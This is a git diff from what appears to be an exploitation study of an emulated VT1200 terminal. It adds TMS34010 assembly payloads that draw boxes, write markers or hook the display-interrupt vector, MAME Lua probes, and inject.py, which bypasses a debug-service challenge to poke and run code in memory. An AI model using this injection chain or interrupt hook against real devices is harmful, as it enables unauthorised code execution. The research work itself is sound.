+01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +018403B0 etext 018403B0 etext + +[6 symbols] diff --git a/dwt/visual/build/ret_test.bin b/dwt/visual/build/ret_test.bin new file mode 100644 index 0000000000000000000000000000000000000000..b446ad12e7c97aea09fa6c8a6a80712f238ee8db GIT binary patch literal 30 icmWGwbzpzMdG7!NLjx-VLo4G0PWBBTwg8ZwzzG0;HwRMy literal 0 HcmV?d00001 diff --git a/dwt/visual/build/ret_test.lst b/dwt/visual/build/ret_test.lst new file mode 100644 index 0000000..0ce6e8d --- /dev/null +++ b/dwt/visual/build/ret_test.lst @@ -0,0 +1,30 @@ +GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 02:48:35 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 1 + + 0001 ; ret_test.asm -- smallest payload that proves `jump` i + 0002 ; + 0003 ; It writes two marker words and returns with `rets`. + 0004 ; stub really used `call`, control comes back to the di + 0005 ; session stays usable; if it used a plain jump, there + 0006 ; this would fault or wander. + 0007 ; + 0008 ; Linked at bit 01840000h (byte 00308000h) by dwt/visua + 0009 + 0010 00000000 .text + 0011 00000000 _start: + 0012 00000000 0550 setf 16, 0, 0 ; field 0 = 16 bits, zero-extended + 0013 00000010 0740 setf 32, 0, 1 ; field 1 = 32 bits, zero-extended + 0014 00000020 09E0 movi 0C0DEh, a0, L + 00000030 0000C0DE + 0015 00000050 0580 move a0, @01850000h, 0 ; MARK1 = C0DE + 00000060 01850000 + 0016 00000080 09E0 movi 0B007h, a0, L + 00000090 0000B007 + 0017 000000B0 0580 move a0, @01850010h, 0 ; MARK2 = B007 (proves the seco + 000000C0 01850010 + 0018 000000E0 0960 rets + 0019 .end + + No Errors, No Warnings diff --git a/dwt/visual/build/ret_test.map b/dwt/visual/build/ret_test.map new file mode 100644 index 0000000..b479a1c --- /dev/null +++ b/dwt/visual/build/ret_test.map @@ -0,0 +1,34 @@ +***************************************************** +GSP COFF Linker, Version 2.00, 87.300 +***************************************************** +Sun Oct 18 02:48:35 2026 + +OUTPUT FILE NAME: +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 000000F0 + 01840000 000000F0 ret_test.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +018400F0 etext 018400F0 etext + +[6 symbols] diff --git a/dwt/visual/build/retprobe.bin b/dwt/visual/build/retprobe.bin new file mode 100644 index 0000000000000000000000000000000000000000..d9f6cef04e5910eb2ec4d19af259ffec1af81027 GIT binary patch literal 116 zcmaFBn8577`hYWmv4ydL^#CseLjaK1aDaiKfpr6r$KcYy%D~aWcz`j1vw>Xz$Z}wR zuw8+nft>}&e!#hasfCe$lLEs6uw27|3vPw>3&1)Q1Ry#c*cX7+@-J#& +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 000003A0 + 01840000 000003A0 RETPROBE.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +018403A0 etext 018403A0 etext + +[6 symbols] diff --git a/dwt/visual/draw_box.asm b/dwt/visual/draw_box.asm new file mode 100644 index 0000000..78df5f0 --- /dev/null +++ b/dwt/visual/draw_box.asm @@ -0,0 +1,61 @@ +; draw_box.asm -- one-shot static VRAM injection, then return. +; +; Draws three 32x32 solid-white boxes at framebuffer (x,y): +; A (50,50) -- root weave, outside every window +; B (250,400) -- inside the Terminal Manager window body (white area) +; C (930,750) -- root weave, lower right +; Writes marker words and returns with `rets`, so the rdebug session survives. +; +; Framebuffer model (harness/mame/RENDER_REPORT.md): base bit 04000000h, +; 1024 bits per row, bit 0 = leftmost pixel, LSB-first in each 16-bit word. +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: + setf 16, 0, 0 + setf 32, 0, 1 + movi 0FFFFh, a0, L ; pattern + + ; ---- box A: (50,50), 32 rows x 2 words = 32x32 px ------------- + movi 0400C832h, a2, L ; 04000000h + 50*1024 + 50 + movi 32, a3, L + movi 2, a4, L +rowA: + move a4, a5 +wordA: + move a0, *a2+, 0 + dsjs a5, wordA + addi 03E0h, a2 ; 1024 - 32 bits + dsjs a3, rowA + + ; ---- box B: (250,400) ---------------------------------------- + movi 040640FAh, a2, L ; 04000000h + 400*1024 + 250 + movi 32, a3, L + movi 2, a4, L +rowB: + move a4, a5 +wordB: + move a0, *a2+, 0 + dsjs a5, wordB + addi 03E0h, a2 + dsjs a3, rowB + + ; ---- box C: (930,750) ---------------------------------------- + movi 040BBBA2h, a2, L ; 04000000h + 750*1024 + 930 + movi 32, a3, L + movi 2, a4, L +rowC: + move a4, a5 +wordC: + move a0, *a2+, 0 + dsjs a5, wordC + addi 03E0h, a2 + dsjs a3, rowC + + movi 0D2A0h, a0, L + move a0, @01850020h, 0 ; DRAW_MARK = D2A0 + movi 0B0C0h, a0, L + move a0, @01850030h, 0 ; DRAW_MARK2 = B0C0 + rets + .end diff --git a/dwt/visual/drawal.asm b/dwt/visual/drawal.asm new file mode 100644 index 0000000..7b11153 --- /dev/null +++ b/dwt/visual/drawal.asm @@ -0,0 +1,59 @@ +; drawal.asm -- one-shot static VRAM draw at word-aligned coordinates, return. +; +; Three solid-black 32x32 boxes: +; A (48,48) root weave, outside every window +; B (256,400) inside the Terminal Manager white body +; C (928,752) root weave, lower right +; All x are multiples of 16, which the TMS34010 16-bit field store requires. +; Writes marker words, then `rets` so the rdebug session and the OS survive. +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: + setf 16, 0, 0 + setf 32, 0, 1 + sub a0, a0 ; 0000 = black + + ; box A (48,48) + movi 0400C030h, a2, L + movi 32, a3, L + movi 2, a4, L +rowA: + move a4, a5 +wordA: + move a0, *a2+, 0 + dsjs a5, wordA + addi 03E0h, a2 + dsjs a3, rowA + + ; box B (256,400) + movi 04064100h, a2, L + movi 32, a3, L + movi 2, a4, L +rowB: + move a4, a5 +wordB: + move a0, *a2+, 0 + dsjs a5, wordB + addi 03E0h, a2 + dsjs a3, rowB + + ; box C (928,752) + movi 040BC3A0h, a2, L + movi 32, a3, L + movi 2, a4, L +rowC: + move a4, a5 +wordC: + move a0, *a2+, 0 + dsjs a5, wordC + addi 03E0h, a2 + dsjs a3, rowC + + movi 0D2A0h, a0, L + move a0, @01850020h, 0 ; DRAW_MARK = D2A0 + movi 0B0C0h, a0, L + move a0, @01850030h, 0 ; DRAW_MARK2 = B0C0 + rets + .end diff --git a/dwt/visual/drawspin.asm b/dwt/visual/drawspin.asm new file mode 100644 index 0000000..8650258 --- /dev/null +++ b/dwt/visual/drawspin.asm @@ -0,0 +1,58 @@ +; draw_spin.asm -- CONTROL payload: draw the same three boxes, then freeze. +; +; It proves the coordinates and the renderer mapping (the boxes appear in the +; next dumped frame). It deliberately does NOT return, so the OS is dead from +; this point. Compare with draw_box.asm, which returns and leaves the OS alive +; and whose boxes are gone by the next dumped frame: the OS repaints. +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: + setf 16, 0, 0 + setf 32, 0, 1 + movi 0FFFFh, a0, L + + ; box A (50,50) + movi 0400C832h, a2, L + movi 32, a3, L + movi 2, a4, L +rowA: + move a4, a5 +wordA: + move a0, *a2+, 0 + dsjs a5, wordA + addi 03E0h, a2 + dsjs a3, rowA + + ; box B (250,400) + movi 040640FAh, a2, L + movi 32, a3, L + movi 2, a4, L +rowB: + move a4, a5 +wordB: + move a0, *a2+, 0 + dsjs a5, wordB + addi 03E0h, a2 + dsjs a3, rowB + + ; box C (930,750) + movi 040BBBA2h, a2, L + movi 32, a3, L + movi 2, a4, L +rowC: + move a4, a5 +wordC: + move a0, *a2+, 0 + dsjs a5, wordC + addi 03E0h, a2 + dsjs a3, rowC + + movi 05B5Bh, a0, L + move a0, @01850020h, 0 ; SPIN_MARK = 5B5B + dint +spin: + nop + jruc spin + .end diff --git a/dwt/visual/frame_clock.lua b/dwt/visual/frame_clock.lua new file mode 100644 index 0000000..a049f55 --- /dev/null +++ b/dwt/visual/frame_clock.lua @@ -0,0 +1,25 @@ +-- frame_clock.lua -- read-only frame counter side channel for host-driven tests. +-- +-- Writes the current frame number to $FRAME_CLOCK once per frame so a host +-- client can align an injection with a known emulated frame (and therefore with +-- the driver's VT1200_DUMP_FRAMES schedule). No breakpoints, no memory writes +-- except this file. Optionally exits at $FRAME_STOP. +local machine = manager.machine +local path = os.getenv("FRAME_CLOCK") +local stop = tonumber(os.getenv("FRAME_STOP") or "0") +local f = 0 + +emu.register_frame_done(function() + f = f + 1 + if path then + local fh = io.open(path, "w") + if fh then + fh:write(string.format("%d\n", f)) + fh:close() + end + end + if stop > 0 and f >= stop then + print(string.format("frame_clock: stopping at frame %d", f)) + machine:exit() + end +end, "vt1200-frame-clock") diff --git a/dwt/visual/inject.py b/dwt/visual/inject.py new file mode 100644 index 0000000..114a39e --- /dev/null +++ b/dwt/visual/inject.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python3 +"""Host-side rdebug driver for the visual-injection experiments. + +Same challenge bypass as dwt/solve.py (it imports the same client and patches +``answer_challenge`` with dwt/challenge.respond). The difference is that this +tool is built for a *sequence* on one TCP connection and can wait for ``jump`` +to return: + + python3 dwt/visual/inject.py --poke-file 0x01840000 --file ... \\ + --jump 0x01840000 --jump-wait 5 --liveness 7 + +It prints the jump return value, so it can distinguish `call` semantics from a +one-way jump. It never modifies the firmware or the ROM. +""" +from __future__ import annotations + +import argparse +import os +import sys +import time + +HERE = os.path.dirname(os.path.abspath(__file__)) +DWT = os.path.dirname(HERE) +sys.path.insert(0, DWT) + +import challenge # noqa: E402 +import exploit # noqa: E402 + +_orig_answer = exploit.RDebug.answer_challenge + + +def _answer(self, challenge_bytes: bytes) -> None: + self.challenge_raw = challenge.respond(challenge_bytes) + print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True) + print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True) + return _orig_answer(self, challenge_bytes) + + +exploit.RDebug.answer_challenge = _answer + + +def main(argv: list[str]) -> int: + ap = argparse.ArgumentParser(description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--host", default="192.168.99.2") + ap.add_argument("--port", type=int, default=771) + ap.add_argument("--timeout", type=float, default=10.0) + ap.add_argument("--poke-file", type=exploit.parse_int) + ap.add_argument("--file") + ap.add_argument("--poke", type=exploit.parse_int) + ap.add_argument("--hex") + ap.add_argument("--peek", type=exploit.parse_int) + ap.add_argument("--len", type=int, default=16) + ap.add_argument("--jump", type=exploit.parse_int) + ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[]) + ap.add_argument("--jump-wait", type=float, default=5.0, + help="seconds to wait for jump to return (0 = don't wait)") + ap.add_argument("--settle", type=float, default=1.0, + help="seconds to wait after a non-waiting jump") + ap.add_argument("--liveness", type=int, action="append", default=[], + help="send opcode N after the jump (repeatable)") + ap.add_argument("--liveness-wait", type=float, default=1.0) + ap.add_argument("--after-peek", type=exploit.parse_int) + ap.add_argument("--after-len", type=int, default=16) + ap.add_argument("--sleep", type=float, default=0.0, help="sleep before closing") + a = ap.parse_args(argv[1:]) + + rd = exploit.RDebug(a.host, a.port, a.timeout, False) + try: + rd.connect() + # Establish the challenge with a liveness opcode, then stay on the + # connection. (opcode 7 is >= 2, so it triggers dwt_prf once.) + flag, payload = rd.liveness(7) + print(f"opcode 7 -> flag={flag:#04x} payload={payload.hex(' ')} " + f"({payload!r})", flush=True) + + if a.poke is not None: + data = exploit.parse_hex(a.hex or "") + rd.poke(a.poke, data) + print(f"poke {a.poke:#010x} <- {data.hex(' ')}: ok", flush=True) + if a.poke_file is not None: + data = open(a.file, "rb").read() + off = 0 + while off < len(data): + chunk = data[off:off + exploit.MAX_XFER] + rd.poke(a.poke_file + off * 8, chunk) + off += len(chunk) + print(f"poke-file {a.file}: {len(data)} bytes at " + f"{a.poke_file:#010x}: ok", flush=True) + if a.peek is not None: + data = rd.peek(a.peek, a.len) + print(f"peek {a.peek:#010x} ({a.len}) -> {data.hex(' ')}", flush=True) + if a.jump is not None: + if a.jump_wait > 0: + res = rd.jump(a.jump, a.arg, wait=True, + wait_timeout=a.jump_wait) + if res is None: + print(f"jump {a.jump:#010x}: NO RETURN within " + f"{a.jump_wait}s", flush=True) + else: + print(f"jump {a.jump:#010x}: returned {res[0]:#010x} " + f"({res[0]}) payload={res[1].hex(' ')}", flush=True) + else: + rd.jump(a.jump, a.arg, wait=False) + print(f"jump {a.jump:#010x}: sent (no wait)", flush=True) + time.sleep(a.settle) + for op in a.liveness: + try: + flag, payload = rd.liveness(op) + print(f"post-jump opcode {op} -> flag={flag:#04x} " + f"payload={payload.hex(' ')} ({payload!r})", flush=True) + except Exception as exc: # noqa: BLE001 - report, don't hide + print(f"post-jump opcode {op}: FAILED: {exc}", flush=True) + return 3 + if a.after_peek is not None: + data = rd.peek(a.after_peek, a.after_len) + print(f"after-peek {a.after_peek:#010x} ({a.after_len}) -> " + f"{data.hex(' ')}", flush=True) + if a.sleep: + time.sleep(a.sleep) + return 0 + except (OSError, exploit.ProtocolError, ValueError) as exc: + print(f"error: {exc}", file=sys.stderr) + return 2 + finally: + rd.close() + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv)) diff --git a/dwt/visual/probe_end.lua b/dwt/visual/probe_end.lua new file mode 100644 index 0000000..d9101f1 --- /dev/null +++ b/dwt/visual/probe_end.lua @@ -0,0 +1,24 @@ +-- probe_end.lua -- frame clock + PC/SP/ST and hook-state sampler. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local prog = cpu.spaces['program'] +local clock = os.getenv("FRAME_CLOCK") +local stop = tonumber(os.getenv("FRAME_STOP") or "0") +local f = 0 +local function rw(b) return prog:read_u16(b) end +local function rl(b) return prog:read_u32(b) end +emu.register_frame_done(function() + f = f + 1 + if clock then + local fh = io.open(clock, "w") + if fh then fh:write(f .. "\n"); fh:close() end + end + if f >= 3480 and f % 10 == 0 then + print(string.format( + "END f=%d PC=%08X SP=%08X ST=%08X counter=%04X state=%04X orig=%08X box=%04X%04X", + f, cpu.state['PC'].value, cpu.state['SP'].value, cpu.state['ST'].value, + rw(0x01840E00), rw(0x01840E10), rl(0x01840E20), + rw(0x04064100), rw(0x04064110))) + end + if stop > 0 and f >= stop then machine:exit() end +end, "vt1200-probe-end") diff --git a/dwt/visual/probe_hook.lua b/dwt/visual/probe_hook.lua new file mode 100644 index 0000000..882646c --- /dev/null +++ b/dwt/visual/probe_hook.lua @@ -0,0 +1,40 @@ +-- probe_hook.lua -- investigation only: log the DI hook stages of blinkpc. +-- Sets breakpoints at entry / ret_hook / the stock OS handler after the hook is +-- installed, prints PC/SP/ST, and resumes. Never writes memory. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +if not dbg then print("ERROR: no debugger"); machine:exit(); return end +local ARM = tonumber(os.getenv("HOOK_ARM") or "3450") +local STOP = tonumber(os.getenv("HOOK_STOP") or "3520") +local f = 0 +local armed = false +local clock = os.getenv("FRAME_CLOCK") + +local function bp(addr, tag) + dbg:command(string.format( + 'bpset %s,,{ printf "HOOK %s pc=%%08X sp=%%08X st=%%08X a0=%%08X\\n", pc, sp, st, a0 ; g }', + addr, tag)) +end + +emu.register_frame_done(function() + f = f + 1 + if clock then + local fh = io.open(clock, "w") + if fh then fh:write(f .. "\n"); fh:close() end + end + if f == ARM and not armed then + armed = true + bp("1840190", "ENTRY") + bp("18402d0", "RET") + bp("3f7146d0", "OSH") + print(string.format("probe_hook: armed at frame %d", f)) + end + if f >= STOP then + print("probe_hook: stopping") + machine:exit() + end +end, "vt1200-probe-hook") + +dbg.visible_cpu = cpu +dbg.execution_state = 'run' diff --git a/dwt/visual/probe_irq.lua b/dwt/visual/probe_irq.lua new file mode 100644 index 0000000..237c9de --- /dev/null +++ b/dwt/visual/probe_irq.lua @@ -0,0 +1,58 @@ +-- probe_irq.lua -- which periodic interrupt can a payload hook? +-- +-- Boot the OS (VT1200_SKIP_LEVEL1=1), then count entries to the handlers that +-- the firmware's RAM trampolines point at. The trampolines are the 6-byte +-- `JA target` stubs at the low-RAM vector page (see dwt/notes/VISUAL_INJECTION.md). +-- +-- Investigation only: this script uses breakpoints to count. The resident-hook +-- acceptance run does not. +-- +-- VT1200_SKIP_LEVEL1=1 vt1200 ... -autoboot_script dwt/visual/probe_irq.lua + +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local prog = cpu.spaces['program'] +if not dbg then print("ERROR: no debugger"); machine:exit(); return end + +local START = tonumber(os.getenv("IRQ_START") or "3200") +local STOP = tonumber(os.getenv("IRQ_STOP") or "3500") +local EVERY = tonumber(os.getenv("IRQ_EVERY") or "50") + +local hits = { di = 0, int1 = 0, int2 = 0 } +local function bp(addr, key) + dbg:command(string.format( + 'bpset %s,,{ %s = %s + 1 ; g }', addr, key, key)) +end +bp("3f7146d0", "hits.di") +bp("3f7144c0", "hits.int1") +bp("3f714530", "hits.int2") + +local rd = function(a) return prog:read_u16(a) end +local f = 0 +local armed = false +local last = { di = 0, int1 = 0, int2 = 0 } + +emu.register_frame_done(function() + f = f + 1 + if f == START then + armed = true + print(string.format("probe_irq: armed at frame %d (DI handler 3F7146D0, INT1 3F7144C0, INT2 3F714530)", f)) + end + if armed and (f % EVERY == 0) then + print(string.format( + "f%4d DI=%d(+%d) INT1=%d(+%d) INT2=%d(+%d) DPYCTL=%04X DPYINT=%04X INTENB=%04X INTPEND=%04X VCOUNT=%04X", + f, hits.di, hits.di - last.di, hits.int1, hits.int1 - last.int1, + hits.int2, hits.int2 - last.int2, + rd(0xc0000080), rd(0xc00000a0), rd(0xc0000110), rd(0xc0000120), rd(0xc00001d0))) + last.di, last.int1, last.int2 = hits.di, hits.int1, hits.int2 + end + if f >= STOP then + print(string.format("probe_irq: totals DI=%d INT1=%d INT2=%d over %d frames", + hits.di, hits.int1, hits.int2, STOP - START)) + machine:exit() + end +end, "vt1200-probe-irq") + +dbg.visible_cpu = cpu +dbg.execution_state = 'run' diff --git a/dwt/visual/probe_irq2.lua b/dwt/visual/probe_irq2.lua new file mode 100644 index 0000000..9240aae --- /dev/null +++ b/dwt/visual/probe_irq2.lua @@ -0,0 +1,41 @@ +-- probe_irq2.lua -- count periodic interrupt handler entries with printf bpsets. +-- Same investigation as probe_irq.lua, but the breakpoint action is a debugger +-- command string (the Lua bpset API takes debugger commands, not Lua closures). +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local prog = cpu.spaces['program'] +if not dbg then print("ERROR: no debugger"); machine:exit(); return end + +local START = tonumber(os.getenv("IRQ_START") or "3200") +local STOP = tonumber(os.getenv("IRQ_STOP") or "3400") + +local function bp(addr, tag) + dbg:command(string.format( + 'bpset %s,,{ printf "IRQHIT %s pc=%%08X\\n", pc ; g }', addr, tag)) +end +bp("3f7146d0", "DI") +bp("3f7144c0", "INT1") +bp("3f714530", "INT2") +-- The trampolines themselves, to tell "never entered" from "wrong handler". +bp("0db0", "TRAMP-DI") +bp("0f60", "TRAMP-INT1") +bp("0f30", "TRAMP-INT2") + +local rd = function(a) return prog:read_u16(a) end +local f = 0 +emu.register_frame_done(function() + f = f + 1 + if f == START then print("probe_irq2: armed") end + if f % 25 == 0 and f >= START then + print(string.format("f%4d DPYCTL=%04X DPYINT=%04X INTENB=%04X INTPEND=%04X VCOUNT=%04X", + f, rd(0xc0000080), rd(0xc00000a0), rd(0xc0000110), rd(0xc0000120), rd(0xc00001d0))) + end + if f >= STOP then + print("probe_irq2: stopping") + machine:exit() + end +end, "vt1200-probe-irq2") + +dbg.visible_cpu = cpu +dbg.execution_state = 'run' diff --git a/dwt/visual/probe_pc.lua b/dwt/visual/probe_pc.lua new file mode 100644 index 0000000..9cca09e --- /dev/null +++ b/dwt/visual/probe_pc.lua @@ -0,0 +1,46 @@ +-- probe_pc.lua -- sample PC/ST (IE flag) in the idle OS, and check that a +-- bpset on a sampled address actually fires. Investigation only. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local prog = cpu.spaces['program'] +if not dbg then print("ERROR: no debugger"); machine:exit(); return end +local IE = 0x200000 +local START = tonumber(os.getenv("PC_START") or "3200") +local STOP = tonumber(os.getenv("PC_STOP") or "3300") +local f = 0 +local armed = false +local hist = {} +local first = {} +local rd = function(a) return prog:read_u16(a) end + +emu.register_frame_done(function() + f = f + 1 + local pc = cpu.state['PC'].value + local st = cpu.state['ST'].value + hist[pc] = (hist[pc] or 0) + 1 + if not first[pc] then first[pc] = f end + if f >= START and f <= STOP and f % 10 == 0 then + print(string.format("f%4d PC=%08X ST=%08X IE=%d DPYINT=%04X INTENB=%04X INTPEND=%04X", + f, pc, st, (st & IE) ~= 0 and 1 or 0, rd(0xc00000a0), rd(0xc0000110), rd(0xc0000120))) + end + if f == START and not armed then + armed = true + dbg:command(string.format('bpset %08X,,{ printf "PCHIT pc=%%08X\\n", pc ; g }', pc)) + dbg:command('bpset 3F579870,,{ printf "PCHIT2 pc=%08X\\n", pc ; g }') + print(string.format("probe_pc: bpset on sampled idle PC %08X", pc)) + end + if f >= STOP then + print("--- hottest PCs in window ---") + local list = {} + for k, c in pairs(hist) do list[#list + 1] = {k, c} end + table.sort(list, function(a, b) return a[2] > b[2] end) + for i = 1, math.min(10, #list) do + print(string.format(" PC=%08X samples=%d first=%d", list[i][1], list[i][2], first[list[i][1]])) + end + machine:exit() + end +end, "vt1200-probe-pc") + +dbg.visible_cpu = cpu +dbg.execution_state = 'run' diff --git a/dwt/visual/ret_test.asm b/dwt/visual/ret_test.asm new file mode 100644 index 0000000..1daed53 --- /dev/null +++ b/dwt/visual/ret_test.asm @@ -0,0 +1,19 @@ +; ret_test.asm -- smallest payload that proves `jump` is a real call. +; +; It writes two marker words and returns with `rets`. If the rdebug `jump` +; stub really used `call`, control comes back to the dispatcher and the TCP +; session stays usable; if it used a plain jump, there is no return address and +; this would fault or wander. +; +; Linked at bit 01840000h (byte 00308000h) by dwt/visual/build.sh. + + .text +_start: + setf 16, 0, 0 ; field 0 = 16 bits, zero-extended + setf 32, 0, 1 ; field 1 = 32 bits, zero-extended + movi 0C0DEh, a0, L + move a0, @01850000h, 0 ; MARK1 = C0DE + movi 0B007h, a0, L + move a0, @01850010h, 0 ; MARK2 = B007 (proves the second store ran) + rets + .end diff --git a/dwt/visual/retprobe.asm b/dwt/visual/retprobe.asm new file mode 100644 index 0000000..949c142 --- /dev/null +++ b/dwt/visual/retprobe.asm @@ -0,0 +1,47 @@ +; retprobe.asm -- MINIMAL test of the DI return-PC trampoline, no drawing. +; +; Installs `entry` on the DI RAM stub (00000DB0h). `entry` replaces the +; interrupt frame's saved PC with `ret_hook` and runs the stock handler. +; `ret_hook` bumps a marker and returns to the saved PC. It deliberately does +; NOT preserve registers, so TCP liveness tells us whether the frame/PC dance +; itself is sound. Scratch is in the payload's own page (01840800h). +; +; Linked at bit 01840000h by dwt/visual/build.sh. + + .text +_start: + pushst + dint + setf 32, 0, 0 + movi entry, a0, L + move a0, @00000DC0h, 0 + setf 16, 0, 0 + movi 0C080h, a0, L + move a0, @00000DB0h, 0 + sub a0, a0 + move a0, @01840800h, 0 ; marker + popst + rets + +entry: + move a0, @01840810h, 1 + setf 32, 0, 1 + move *sp(020h), a0, 1 + move a0, @01840804h, 1 ; orig_pc + movi ret_hook, a0, L + move a0, *sp(020h), 1 + move @01840810h, a0, 1 + jauc 3F7146D0h + +ret_hook: + move @01840800h, a0, 0 + inc a0 + move a0, @01840800h, 0 + setf 32, 0, 1 + move @01840804h, a0, 1 ; orig_pc + move a0, -*sp, 1 + getst a0 ; (clobbers a0 on purpose) + move a0, -*sp, 1 + popst + rets + .end